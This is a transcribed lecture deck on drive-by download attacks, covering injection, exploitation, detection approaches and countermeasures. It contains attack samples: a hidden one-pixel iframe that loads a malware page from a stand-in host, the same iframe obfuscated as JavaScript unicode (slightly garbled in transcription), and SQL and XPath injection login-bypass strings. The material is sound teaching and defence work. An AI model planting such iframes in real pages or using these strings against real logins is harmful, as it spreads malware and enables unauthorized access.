SlideShare una empresa de Scribd logo
1 de 29
Drive-By Downloads
Presenter: Darakhshan Naz
Teacher: Professor Dr. Muhammad Mubashir Khan
04.05.2013
1
Agenda
 Introduction
 Mechanisms of Drive-by Download
 General Detection Approach
 Security Measures
 Assessment & Conclusion
2
What is Drive-by Download?
 A technique that involves
◦ Intended downloads without understanding consequenes
 E.g. Executables
◦ Unintended downloads
 E.g. Virus, spyware
 Can happen by:
◦ Visiting a website
◦ Viewing an email message
 Installs malicious program, termed as Malwares
◦ Through Malwares, attacker gets full or partial control of
victim‘s system
3
4
(2) Read email
Contains a
website link
(3) Attract
user‘s interest
User Click
Website has
many links
(5) Surf every site
but getting bored (no
interest develop)
Close website
User
Attacker
(6) Sends user
a spoofed Email
User‘s browser
(7) Attacker sends malicious code and exploit vulnerability
(8) Malicious code
creates connection
between user and
attacker
(9) Download and install
its backdoor Program
(10) Steal all user‘s important files and
make him compromised over network
Example - Scenario
Drive – By Download !
Source of Concept : Report- Defence against Drive-by Download by National Security Agency US
User is completely
unaware of attack
(4) Go to website(1) Open Browser
Purpose of Drive-by Download
• Provide gateway to botnets.
• Take advantages of vulnerabilities.
• Steal personal or confidential information of user.
• Leads or redirects user to other malicious websites
and make him compromised.
5
Mechanisms of Drive-by Download
6
Basic Concept of Drive-by Download Attack (Source: [1])
1 2
43
Injection
Exploitation
Injection
 What is Injection :
◦ The act of entering data into application by bypassing
security controls and change its behaviour in unexpected
way.
 Reason of Injection :
◦ Existance of vulnerabilities.
 Drive-by Download initates by the injection of
malicious code in database, application or server.
 Ways of Malicious code injection:
◦ Injection through iFrames
◦ SQL Injection
◦ XPATH Injection
7
How and where to Inject ?
8Source : http://www.malware-info.com/mal_faq_inject.html
• SQL Injection
• Xpath Injection
Injection through iFrames
Malware placed
directly on
Webserver
Injection through iFrames
 The most basic form of injected code is a malicious
iFrame such as:
 Example:
<div style=visibility: hidden; position: absolute: 1; top:1>
<iframe id=IFRAME name=IFRAME
src= http://www.example.com/page_with_malware.htm
scrolling= no width=1 height=1 vspace=0
hspace=0 frameborder=0>
</iframe>
</div>
9
This iFrame is present in the
HTML of a requested web
page
Content from this
source render in an
invisible 1 pixel x 1
pixel window.
Sometimes, iFrames present in encoded form that seems normal.
The process of encoding is known as "obfuscation“.
Obfuscation
 The process of disguising code through encoding.
 The previous iFrame can be converted to a JavaScript
Unicode string using any encoding tool.
 Encoding tool: http://www.auditmypc.com/html-
encoder.asp
 On browsing of injected page, the JavaScript
dynamically generates an iframe.
 This causes malicious content from a website controlled
by an attacker to execute inside the requested web
page.
10
Obfuscation
 Obfuscated form of iFrame is :
<script
type="text/javascript">document.write('u003Cu0064u0069u0076u0020u0073u00
74u0079u006Cu0065u003Du0076u0069u0073u0069u0062u0069u006Cu006
9u0074u0079u003Au0020u0068u0069u0064u0064u0065u006Eu003Bu0020
u0070u006Fu0073u0069u0074u0069u006Fu006Eu003Au0020u0061u0062u
0073u006Fu006Cu0075u0074u0065u003Au0020u0031u003Bu0020u0074u0
06Fu0070u003Au0031u003Eu0020u0020u0020u0020u0020u0020u0020u00
20u0020u0020u0020u003Cu0069u0066u0072u0061u006Du0065u0020u006
9u0064u003Du0049u0046u0052u0041u004Du0045u0020u006Eu0061u006D
u0065u003Du0049u0046u0052u0041u004Du0045u000Du0020u0020u0020
u0073u0072u0063u003Du0020u0068u0074u0074u0070u003Au002Fu002Fu
0077u0077u0077u002Eu0065u0078u0061u006Du0070u006Cu0065u002Eu0
063u006Fu006Du002Fu0070u0061u0067u0065u005Fu0077u0069u0074u00
68u005Fu006Du0061u006Cu0077u0061u0072u0065u002Eu0068u0074u006
Du000Du0020u0020u0020u0073u0063u0072u006Fu006Cu006Cu0069u006
Eu0067u003Du0020u006Eu006Fu0020u0077u0069u0064u0074u0068u003D
u0031u0020u0068u0065u0069u0067u0068u0074u003Du0031u0020u0076u
0073u0070u0061u0063u0065u003Du0030u000Du0020u0020u0020u0020u0
068u0073u0070u0061u0063u0065u003Du0030u0020u0020u0066u0072u00
61u006Du0065u0062u006Fu0072u0064u0065u0072u003Du0030u003Eu000
Du003Cu002Fu0069u0066u0072u0061u006Du0065u003Eu000Du003Cu002
Fu0064u0069u0076u003Eu000Du000D');</script>
11
SQL Injection
 Bypass the authentication process.
 Provide access of data to malicious user or attacker.
 Example : In any userForm page if we enter
Username: 'or‘1‘=‘1 and Password: 'or‘1‘=‘1
then webpage will execute this query form
SELECT * FROM Users
WHERE Username=`1' OR `1' = `1‘
AND Password = `1' OR `1' = `1‘
Parameters have always
logical true condition
Authentication process is validated and attacker can get access to
any account in database.
12
XPATH Injection
 Almost similar to SQL Injection.
 Now “target“ is XML Document.
 Insecurity caused by the injection of XPATH query
or conditions through webpage.
 Example :
◦ If any user has an account in any site with Username=John
and Password = test123, then logically he will see his
account only.
• If same user enters his username like John' or 1 = 1 with
same password then system will authenticate him and
show the entire XML document to him.
13
Mechanism of Drive-by Download
14
Basic Concept of Drive-by Download Attack (Source: [1])
1 2
43
Injection
Exploitation
Exploitation
 What is Exploitation :
◦ The act by an attacker to perform activities on victim‘s system
on his own wish after getting full or partial control.
 Reason of Exploitation:
◦ Ignore the updating of installed applications.
◦ According to Secunia PSI, about 95.46% users have one or
more insecure applications.
◦ Newer version may correct one or more vulnerabilities in the
installed application.
 Vulnerabilities that are mostly exploited :
◦ Browser Vulnerability.
◦ Plugin Vulnerability.
◦ File Format Vulnerability.
15
Types of Vulnerabilities
 Browser Vulnerability
◦ Attacker injects malicious code into user‘s browser and
changes its setting without his knowledge.
 Plugin Vulnerability
◦ Plugin is provided by third parties that can be vulnerable;
may lead to buffer overflows, memory corruption issues
and pointer overwrites.
 File Format Vulnerability
◦ Attackers attach malware to Word, Excel or PDF files,
distributed through email or websites. Exploit will occur
when editing program opens them.
16
General Detection Approach
 Javascript-script based malwares seems difficult to
detect and analyze.
 Requires a comprehensive approach to detect both root
cause and dynamic behaviour.
 Specialized Detection Methods:
◦ CUJO[2]
 Static + Dynamic analysis of Javascript
 Detection through machine learning
◦ ARROW[8].
 Create Regular Expression Signatures for servers of MDN.
 Evaluate their effectiveness.
Here the generalized detection approach will be
discussed which is the basic idea to detect.
17
Step1: Analysis of JS Redirection
 For an effective detection approach, analysis of
JavaScript is mandatory.
• User is victimized in two ways:
• Either he may directly expose to vulnerable site.
• Or an attacker reaches to him through a series of
redirections.
 Two approaches can be taken to investigate
redirections.
◦ Implementing some settings into JavaScript code (e.g:
document.location).
◦ Taking Browser‘s history.
18
Step2: JavaScript Deobfuscation
 Most of the malicious JavaScript is in obfuscated
(encoded) form.
 Deobfuscation (conversion from complex form to
simple form) can help to identify malicious code.
 It is possible through manually or any automated
tool.
 Automated Tools : e.g:
◦ Development Tool in Google Chrome.
◦ Microsoft Script Debugger or Editor.
19
Step3: Detection of Memory Corruption
 Most attacks corrupt the memory.
 Attacker tries to enter into browser and run his
shellcode.
◦ A shellcode is a small code through which attacker gets
control of victim‘s system.
• Attacker then uses JavaScript to allocate large number
of strings for the shellcode.
• These strings are not the part of real code but for
memory allocation by the attacker.
• Detection of these strings can give the indication of
shellcode. 20
Contd.
 Detection of these strings can be done through two
ways:
◦ Controlling and maintaining of string variables whenever
they are created.
◦ For automated detection, libemu library is used.
 It searches from each character and when it finds a sequence
of valid instructions, it reports shellcode.
21
Step4: Investigation of Exploitation
 Exploitation is last step of Drive-by Download
attack that take advantage of vulnerabilities.
 It can be detected through two ways :
◦ Analysis of behaviours of Browsers and Plug-ins
◦ Monitoring of string passing as parameters and method
calls. Usually long strings are used in exploits and certain
methods are called in malware downloading.
22
Security Measures
 Updation of softwares.
 Installation of web-filtering softwares.
 Implementation of BLADE(Block All Drive-by
Download Exploits).
 Proper management by Network Administrators.
 Users should be careful while visiting sites
specially entertainment and social sites as they
may have Adversaries.
 Usage of reputed search engines like
Google, Microsoft, Yahoo, AVG or Bing.
 Usage of Virtual Machine for Web Browsing.
23
The Good
 Automated techniques (compiler or library) of
deobfuscation is really helpful for the identification of
malicious JavaScript.
 Detection should be focussed on central points.
◦ Evilseed[11] provides a crawling approach focussing on
central points of Malware.
 Machine Learning can provide light weight Javascript
analysis, fast detection mechanisms and handling of
vulnerabilities in runtime.
 Proper input validations can reduce SQL and XPATH
injection.
24
The Bad
 Can easily happen but very hard to overcome.
 Possibilities of attack are rapidly increasing but
validity of detection approaches is not possible
every time.
 Defensive approach is better to fight against these
attacks because of two reasons :
◦ Intense Dynamic behaviour.
◦ Complex and time consuming detection approaches.
25
The Ugly
 Mostly show unexpected behaviour.
 Due to diversity of different ways of attack, it has
high ratio of victims and it is difficult to design a
detection approach that covers all possibilities.
 Not any computing device seems to be safe from
Drive-by Download.
 As Drive-by Download attack is increasing
enormously, perhaps in near future, hard drives or
portable device vulnerabilities may also exist.
26
Thanks for your attention
27
References(1)
[1] Egele, M., Wurzinger, P., Kirda, E.: Defending Browsers
against Drive-by Downloads: Mitigating Heap-Spraying Code
Injection Attacks (2009).
[2] Rieck, K., Krueger, T., Dewald, A.: CUJO-Ecient Detection
and Prevention of Drive-by Download Attacks, Tecnische
Universitaet Berlin.
[3] Stone-Gross, B., Cova M. , Kruegel, C. , Vigna, G.: Peering
through the iFrame University of California, University of
Birmingham.
[4] Westervelt, R.: Kaspersky website hacked (February 2009).
[5] Cova, M. , Kruegel, C., Vigna G.: Detection and Analysis of
Drive-by-Download Attacks andMalicious Javascript Code
University of California, Santa Barbara From ACM digital library.
[6] Interesting statistics from the Secunia PSI (January 2008)
http://secunia.com/blog/18.
28
References(2)
[7] Luy, L., Yegneswaranz, V., Porrasz, P.: BLADE: An Attack-
Agnostic Approach for Preventing Drive-By Malware Infections
College of Computing, Georgia Institute of Technology, SRI
International From ACM digital library.
[8] Zhang, J., Seifert, C., Stokes, J.W., Lee, W. : ARROW:
Generating Signatures to Detect Drive-By Downloads Georgia
Institute of Technology, Microsoft Bing, Microsoft Research
[9] Devi, D., Pathak, D., Nandi, S.: Vulnerabilities in Web
Browsers Indian Institute of Technology, Guwahati, India.
[10] Provos, N., Mavrommatis, P., Moheeb, A. R., Monrose, F.:
All your Iframes point to us Google Inc., Johns Hopkins
University.
[11]
Invernizzi, L., Benvenuti, S., Cova, M., Comparetti, P., M., Krueg
el, C., Vigna,G.:EVILSEED: A Guided Approach to Finding
MaliciousWeb Pages, 2012 IEEE Symposium on Security and
Privacy 29

Más contenido relacionado

La actualidad más candente

Hyphenet Security Awareness Training
Hyphenet Security Awareness TrainingHyphenet Security Awareness Training
Hyphenet Security Awareness TrainingJen Ruhman
 
WTF is Penetration Testing v.2
WTF is Penetration Testing v.2WTF is Penetration Testing v.2
WTF is Penetration Testing v.2Scott Sutherland
 
Cyber Security Introduction.pptx
Cyber Security Introduction.pptxCyber Security Introduction.pptx
Cyber Security Introduction.pptxANIKETKUMARSHARMA3
 
New Hire Information Security Awareness
New Hire Information Security AwarenessNew Hire Information Security Awareness
New Hire Information Security Awarenesshubbargf
 
DoS Attack - Incident Handling
DoS Attack - Incident HandlingDoS Attack - Incident Handling
DoS Attack - Incident HandlingMarcelo Silva
 
Introduction to Social engineering | Techniques of Social engineering
Introduction to Social engineering | Techniques of Social engineeringIntroduction to Social engineering | Techniques of Social engineering
Introduction to Social engineering | Techniques of Social engineeringPrem Lamsal
 
Cybersecurity 1. intro to cybersecurity
Cybersecurity 1. intro to cybersecurityCybersecurity 1. intro to cybersecurity
Cybersecurity 1. intro to cybersecuritysommerville-videos
 
What is Ransomware?
What is Ransomware?What is Ransomware?
What is Ransomware?Datto
 
Cyber crime and security
Cyber crime and securityCyber crime and security
Cyber crime and securitysanjana mun
 
Web security ppt sniper corporation
Web security ppt   sniper corporationWeb security ppt   sniper corporation
Web security ppt sniper corporationsharmaakash1881
 
Phishing attacks ppt
Phishing attacks pptPhishing attacks ppt
Phishing attacks pptAryan Ragu
 
What is Ethical Hacking? | Ethical Hacking for Beginners | Ethical Hacking Co...
What is Ethical Hacking? | Ethical Hacking for Beginners | Ethical Hacking Co...What is Ethical Hacking? | Ethical Hacking for Beginners | Ethical Hacking Co...
What is Ethical Hacking? | Ethical Hacking for Beginners | Ethical Hacking Co...Edureka!
 

La actualidad más candente (20)

Hyphenet Security Awareness Training
Hyphenet Security Awareness TrainingHyphenet Security Awareness Training
Hyphenet Security Awareness Training
 
Computer virus
 Computer virus Computer virus
Computer virus
 
WTF is Penetration Testing v.2
WTF is Penetration Testing v.2WTF is Penetration Testing v.2
WTF is Penetration Testing v.2
 
Cyber Security Introduction.pptx
Cyber Security Introduction.pptxCyber Security Introduction.pptx
Cyber Security Introduction.pptx
 
New Hire Information Security Awareness
New Hire Information Security AwarenessNew Hire Information Security Awareness
New Hire Information Security Awareness
 
Cyber security
Cyber securityCyber security
Cyber security
 
WannaCry ransomware attack
WannaCry ransomware attackWannaCry ransomware attack
WannaCry ransomware attack
 
DoS Attack - Incident Handling
DoS Attack - Incident HandlingDoS Attack - Incident Handling
DoS Attack - Incident Handling
 
Malware and security
Malware and securityMalware and security
Malware and security
 
End-User Security Awareness
End-User Security AwarenessEnd-User Security Awareness
End-User Security Awareness
 
Introduction to Social engineering | Techniques of Social engineering
Introduction to Social engineering | Techniques of Social engineeringIntroduction to Social engineering | Techniques of Social engineering
Introduction to Social engineering | Techniques of Social engineering
 
Cybersecurity 1. intro to cybersecurity
Cybersecurity 1. intro to cybersecurityCybersecurity 1. intro to cybersecurity
Cybersecurity 1. intro to cybersecurity
 
What is Ransomware?
What is Ransomware?What is Ransomware?
What is Ransomware?
 
Cyber crime and security
Cyber crime and securityCyber crime and security
Cyber crime and security
 
PHISHING attack
PHISHING attack PHISHING attack
PHISHING attack
 
Ethical hacking
Ethical hacking Ethical hacking
Ethical hacking
 
Web security ppt sniper corporation
Web security ppt   sniper corporationWeb security ppt   sniper corporation
Web security ppt sniper corporation
 
Cyber security(2018 updated)
Cyber security(2018 updated)Cyber security(2018 updated)
Cyber security(2018 updated)
 
Phishing attacks ppt
Phishing attacks pptPhishing attacks ppt
Phishing attacks ppt
 
What is Ethical Hacking? | Ethical Hacking for Beginners | Ethical Hacking Co...
What is Ethical Hacking? | Ethical Hacking for Beginners | Ethical Hacking Co...What is Ethical Hacking? | Ethical Hacking for Beginners | Ethical Hacking Co...
What is Ethical Hacking? | Ethical Hacking for Beginners | Ethical Hacking Co...
 

Similar a Drive by downloads-cns

Secure coding guidelines
Secure coding guidelinesSecure coding guidelines
Secure coding guidelinesZakaria SMAHI
 
VAPT_FINAL SLIDES.pptx
VAPT_FINAL SLIDES.pptxVAPT_FINAL SLIDES.pptx
VAPT_FINAL SLIDES.pptxkarthikvcyber
 
Cq3210191021
Cq3210191021Cq3210191021
Cq3210191021IJMER
 
VAPT PRESENTATION full.pptx
VAPT PRESENTATION full.pptxVAPT PRESENTATION full.pptx
VAPT PRESENTATION full.pptxDARSHANBHAVSAR14
 
Avoiding Application Attacks: A Guide to Preventing the OWASP Top 10 from Hap...
Avoiding Application Attacks: A Guide to Preventing the OWASP Top 10 from Hap...Avoiding Application Attacks: A Guide to Preventing the OWASP Top 10 from Hap...
Avoiding Application Attacks: A Guide to Preventing the OWASP Top 10 from Hap...IBM Security
 
30ITSecurityThreatsVulnerabilitiesandCountermeasuresV1.ppt
30ITSecurityThreatsVulnerabilitiesandCountermeasuresV1.ppt30ITSecurityThreatsVulnerabilitiesandCountermeasuresV1.ppt
30ITSecurityThreatsVulnerabilitiesandCountermeasuresV1.pptKaukau9
 
Network security, seriously?
Network security, seriously?Network security, seriously?
Network security, seriously?Peter Wood
 
Common Web Application Attacks
Common Web Application Attacks Common Web Application Attacks
Common Web Application Attacks Ahmed Sherif
 
Security Testing
Security TestingSecurity Testing
Security TestingISsoft
 
Web Application Penetration Testing
Web Application Penetration Testing Web Application Penetration Testing
Web Application Penetration Testing Priyanka Aash
 
7 Steps to Threat Modeling
7 Steps to Threat Modeling7 Steps to Threat Modeling
7 Steps to Threat ModelingDanny Wong
 
Solvay secure application layer v2015 seba
Solvay secure application layer v2015   sebaSolvay secure application layer v2015   seba
Solvay secure application layer v2015 sebaSebastien Deleersnyder
 
Client-Side Penetration Testing Presentation
Client-Side Penetration Testing PresentationClient-Side Penetration Testing Presentation
Client-Side Penetration Testing PresentationChris Gates
 
Application Security Guide for Beginners
Application Security Guide for Beginners Application Security Guide for Beginners
Application Security Guide for Beginners Checkmarx
 
Security Testing Training With Examples
Security Testing Training With ExamplesSecurity Testing Training With Examples
Security Testing Training With ExamplesAlwin Thayyil
 
Cyber attacks 101
Cyber attacks 101Cyber attacks 101
Cyber attacks 101Rafel Ivgi
 

Similar a Drive by downloads-cns (20)

Secure coding guidelines
Secure coding guidelinesSecure coding guidelines
Secure coding guidelines
 
VAPT_FINAL SLIDES.pptx
VAPT_FINAL SLIDES.pptxVAPT_FINAL SLIDES.pptx
VAPT_FINAL SLIDES.pptx
 
Cq3210191021
Cq3210191021Cq3210191021
Cq3210191021
 
VAPT PRESENTATION full.pptx
VAPT PRESENTATION full.pptxVAPT PRESENTATION full.pptx
VAPT PRESENTATION full.pptx
 
Avoiding Application Attacks: A Guide to Preventing the OWASP Top 10 from Hap...
Avoiding Application Attacks: A Guide to Preventing the OWASP Top 10 from Hap...Avoiding Application Attacks: A Guide to Preventing the OWASP Top 10 from Hap...
Avoiding Application Attacks: A Guide to Preventing the OWASP Top 10 from Hap...
 
30ITSecurityThreatsVulnerabilitiesandCountermeasuresV1.ppt
30ITSecurityThreatsVulnerabilitiesandCountermeasuresV1.ppt30ITSecurityThreatsVulnerabilitiesandCountermeasuresV1.ppt
30ITSecurityThreatsVulnerabilitiesandCountermeasuresV1.ppt
 
Network security, seriously?
Network security, seriously?Network security, seriously?
Network security, seriously?
 
Common Web Application Attacks
Common Web Application Attacks Common Web Application Attacks
Common Web Application Attacks
 
Security testing
Security testingSecurity testing
Security testing
 
Security Testing
Security TestingSecurity Testing
Security Testing
 
Web Application Penetration Testing
Web Application Penetration Testing Web Application Penetration Testing
Web Application Penetration Testing
 
Owasp top 10 2017
Owasp top 10 2017Owasp top 10 2017
Owasp top 10 2017
 
7 Steps to Threat Modeling
7 Steps to Threat Modeling7 Steps to Threat Modeling
7 Steps to Threat Modeling
 
Solvay secure application layer v2015 seba
Solvay secure application layer v2015   sebaSolvay secure application layer v2015   seba
Solvay secure application layer v2015 seba
 
Client-Side Penetration Testing Presentation
Client-Side Penetration Testing PresentationClient-Side Penetration Testing Presentation
Client-Side Penetration Testing Presentation
 
Application Security Guide for Beginners
Application Security Guide for Beginners Application Security Guide for Beginners
Application Security Guide for Beginners
 
Methods Hackers Use
Methods Hackers UseMethods Hackers Use
Methods Hackers Use
 
Security Testing Training With Examples
Security Testing Training With ExamplesSecurity Testing Training With Examples
Security Testing Training With Examples
 
Cyber attacks 101
Cyber attacks 101Cyber attacks 101
Cyber attacks 101
 
FALCON.pptx
FALCON.pptxFALCON.pptx
FALCON.pptx
 

Más de mmubashirkhan

Two factor authentication presentation mcit
Two factor authentication presentation mcitTwo factor authentication presentation mcit
Two factor authentication presentation mcitmmubashirkhan
 
Situational awareness for computer network security
Situational awareness for computer network securitySituational awareness for computer network security
Situational awareness for computer network securitymmubashirkhan
 
Security threats and countermeasure in 3 g network
Security threats and countermeasure in 3 g networkSecurity threats and countermeasure in 3 g network
Security threats and countermeasure in 3 g networkmmubashirkhan
 
Comparison between traditional vpn and mpls vpn
Comparison between traditional vpn and mpls vpnComparison between traditional vpn and mpls vpn
Comparison between traditional vpn and mpls vpnmmubashirkhan
 
Security in wireless la ns
Security in wireless la ns Security in wireless la ns
Security in wireless la ns mmubashirkhan
 
Saa s multitenant database architecture
Saa s multitenant database architectureSaa s multitenant database architecture
Saa s multitenant database architecturemmubashirkhan
 
Improving intrusion detection system by honeypot
Improving intrusion detection system by honeypotImproving intrusion detection system by honeypot
Improving intrusion detection system by honeypotmmubashirkhan
 
Cyber security issues
Cyber security issuesCyber security issues
Cyber security issuesmmubashirkhan
 
Biometric security tech
Biometric security techBiometric security tech
Biometric security techmmubashirkhan
 
Authentication in manet
Authentication in manetAuthentication in manet
Authentication in manetmmubashirkhan
 
Advanced persistent threat (apt)
Advanced persistent threat (apt)Advanced persistent threat (apt)
Advanced persistent threat (apt)mmubashirkhan
 

Más de mmubashirkhan (11)

Two factor authentication presentation mcit
Two factor authentication presentation mcitTwo factor authentication presentation mcit
Two factor authentication presentation mcit
 
Situational awareness for computer network security
Situational awareness for computer network securitySituational awareness for computer network security
Situational awareness for computer network security
 
Security threats and countermeasure in 3 g network
Security threats and countermeasure in 3 g networkSecurity threats and countermeasure in 3 g network
Security threats and countermeasure in 3 g network
 
Comparison between traditional vpn and mpls vpn
Comparison between traditional vpn and mpls vpnComparison between traditional vpn and mpls vpn
Comparison between traditional vpn and mpls vpn
 
Security in wireless la ns
Security in wireless la ns Security in wireless la ns
Security in wireless la ns
 
Saa s multitenant database architecture
Saa s multitenant database architectureSaa s multitenant database architecture
Saa s multitenant database architecture
 
Improving intrusion detection system by honeypot
Improving intrusion detection system by honeypotImproving intrusion detection system by honeypot
Improving intrusion detection system by honeypot
 
Cyber security issues
Cyber security issuesCyber security issues
Cyber security issues
 
Biometric security tech
Biometric security techBiometric security tech
Biometric security tech
 
Authentication in manet
Authentication in manetAuthentication in manet
Authentication in manet
 
Advanced persistent threat (apt)
Advanced persistent threat (apt)Advanced persistent threat (apt)
Advanced persistent threat (apt)
 

Último

"I see eyes in my soup": How Delivery Hero implemented the safety system for ...
"I see eyes in my soup": How Delivery Hero implemented the safety system for ..."I see eyes in my soup": How Delivery Hero implemented the safety system for ...
"I see eyes in my soup": How Delivery Hero implemented the safety system for ...Zilliz
 
Architecting Cloud Native Applications
Architecting Cloud Native ApplicationsArchitecting Cloud Native Applications
Architecting Cloud Native ApplicationsWSO2
 
Mcleodganj Call Girls 🥰 8617370543 Service Offer VIP Hot Model
Mcleodganj Call Girls 🥰 8617370543 Service Offer VIP Hot ModelMcleodganj Call Girls 🥰 8617370543 Service Offer VIP Hot Model
Mcleodganj Call Girls 🥰 8617370543 Service Offer VIP Hot ModelDeepika Singh
 
MS Copilot expands with MS Graph connectors
MS Copilot expands with MS Graph connectorsMS Copilot expands with MS Graph connectors
MS Copilot expands with MS Graph connectorsNanddeep Nachan
 
EMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWER
EMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWEREMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWER
EMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWERMadyBayot
 
Biography Of Angeliki Cooney | Senior Vice President Life Sciences | Albany, ...
Biography Of Angeliki Cooney | Senior Vice President Life Sciences | Albany, ...Biography Of Angeliki Cooney | Senior Vice President Life Sciences | Albany, ...
Biography Of Angeliki Cooney | Senior Vice President Life Sciences | Albany, ...Angeliki Cooney
 
Artificial Intelligence Chap.5 : Uncertainty
Artificial Intelligence Chap.5 : UncertaintyArtificial Intelligence Chap.5 : Uncertainty
Artificial Intelligence Chap.5 : UncertaintyKhushali Kathiriya
 
Navigating the Deluge_ Dubai Floods and the Resilience of Dubai International...
Navigating the Deluge_ Dubai Floods and the Resilience of Dubai International...Navigating the Deluge_ Dubai Floods and the Resilience of Dubai International...
Navigating the Deluge_ Dubai Floods and the Resilience of Dubai International...Orbitshub
 
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, AdobeApidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobeapidays
 
Strategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
Strategize a Smooth Tenant-to-tenant Migration and Copilot TakeoffStrategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
Strategize a Smooth Tenant-to-tenant Migration and Copilot Takeoffsammart93
 
Vector Search -An Introduction in Oracle Database 23ai.pptx
Vector Search -An Introduction in Oracle Database 23ai.pptxVector Search -An Introduction in Oracle Database 23ai.pptx
Vector Search -An Introduction in Oracle Database 23ai.pptxRemote DBA Services
 
TrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
TrustArc Webinar - Unlock the Power of AI-Driven Data DiscoveryTrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
TrustArc Webinar - Unlock the Power of AI-Driven Data DiscoveryTrustArc
 
Strategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a FresherStrategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a FresherRemote DBA Services
 
CNIC Information System with Pakdata Cf In Pakistan
CNIC Information System with Pakdata Cf In PakistanCNIC Information System with Pakdata Cf In Pakistan
CNIC Information System with Pakdata Cf In Pakistandanishmna97
 
AWS Community Day CPH - Three problems of Terraform
AWS Community Day CPH - Three problems of TerraformAWS Community Day CPH - Three problems of Terraform
AWS Community Day CPH - Three problems of TerraformAndrey Devyatkin
 
Apidays New York 2024 - Passkeys: Developing APIs to enable passwordless auth...
Apidays New York 2024 - Passkeys: Developing APIs to enable passwordless auth...Apidays New York 2024 - Passkeys: Developing APIs to enable passwordless auth...
Apidays New York 2024 - Passkeys: Developing APIs to enable passwordless auth...apidays
 
DBX First Quarter 2024 Investor Presentation
DBX First Quarter 2024 Investor PresentationDBX First Quarter 2024 Investor Presentation
DBX First Quarter 2024 Investor PresentationDropbox
 
Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...
Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...
Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...Jeffrey Haguewood
 

Último (20)

"I see eyes in my soup": How Delivery Hero implemented the safety system for ...
"I see eyes in my soup": How Delivery Hero implemented the safety system for ..."I see eyes in my soup": How Delivery Hero implemented the safety system for ...
"I see eyes in my soup": How Delivery Hero implemented the safety system for ...
 
Architecting Cloud Native Applications
Architecting Cloud Native ApplicationsArchitecting Cloud Native Applications
Architecting Cloud Native Applications
 
Mcleodganj Call Girls 🥰 8617370543 Service Offer VIP Hot Model
Mcleodganj Call Girls 🥰 8617370543 Service Offer VIP Hot ModelMcleodganj Call Girls 🥰 8617370543 Service Offer VIP Hot Model
Mcleodganj Call Girls 🥰 8617370543 Service Offer VIP Hot Model
 
MS Copilot expands with MS Graph connectors
MS Copilot expands with MS Graph connectorsMS Copilot expands with MS Graph connectors
MS Copilot expands with MS Graph connectors
 
EMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWER
EMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWEREMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWER
EMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWER
 
Biography Of Angeliki Cooney | Senior Vice President Life Sciences | Albany, ...
Biography Of Angeliki Cooney | Senior Vice President Life Sciences | Albany, ...Biography Of Angeliki Cooney | Senior Vice President Life Sciences | Albany, ...
Biography Of Angeliki Cooney | Senior Vice President Life Sciences | Albany, ...
 
Artificial Intelligence Chap.5 : Uncertainty
Artificial Intelligence Chap.5 : UncertaintyArtificial Intelligence Chap.5 : Uncertainty
Artificial Intelligence Chap.5 : Uncertainty
 
Navigating the Deluge_ Dubai Floods and the Resilience of Dubai International...
Navigating the Deluge_ Dubai Floods and the Resilience of Dubai International...Navigating the Deluge_ Dubai Floods and the Resilience of Dubai International...
Navigating the Deluge_ Dubai Floods and the Resilience of Dubai International...
 
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, AdobeApidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
 
Strategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
Strategize a Smooth Tenant-to-tenant Migration and Copilot TakeoffStrategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
Strategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
 
Vector Search -An Introduction in Oracle Database 23ai.pptx
Vector Search -An Introduction in Oracle Database 23ai.pptxVector Search -An Introduction in Oracle Database 23ai.pptx
Vector Search -An Introduction in Oracle Database 23ai.pptx
 
TrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
TrustArc Webinar - Unlock the Power of AI-Driven Data DiscoveryTrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
TrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
 
Strategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a FresherStrategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a Fresher
 
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
 
CNIC Information System with Pakdata Cf In Pakistan
CNIC Information System with Pakdata Cf In PakistanCNIC Information System with Pakdata Cf In Pakistan
CNIC Information System with Pakdata Cf In Pakistan
 
AWS Community Day CPH - Three problems of Terraform
AWS Community Day CPH - Three problems of TerraformAWS Community Day CPH - Three problems of Terraform
AWS Community Day CPH - Three problems of Terraform
 
